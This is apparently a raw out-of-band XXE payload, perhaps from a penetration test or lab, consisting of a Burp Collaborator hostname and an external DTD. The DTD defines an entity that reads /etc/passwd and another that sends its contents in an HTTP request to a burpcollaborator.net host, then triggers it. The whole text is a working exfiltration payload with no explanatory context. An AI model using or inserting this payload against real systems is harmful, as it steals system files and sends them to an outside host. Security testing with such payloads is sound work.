1lnm3gwxkq9dwpx5h31tkvbm9df43t.burpcollaborator.net

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://nyp8g29jxcmz9barupefxho8mzsrgg.burpcollaborator.net/%data;'>">
%all;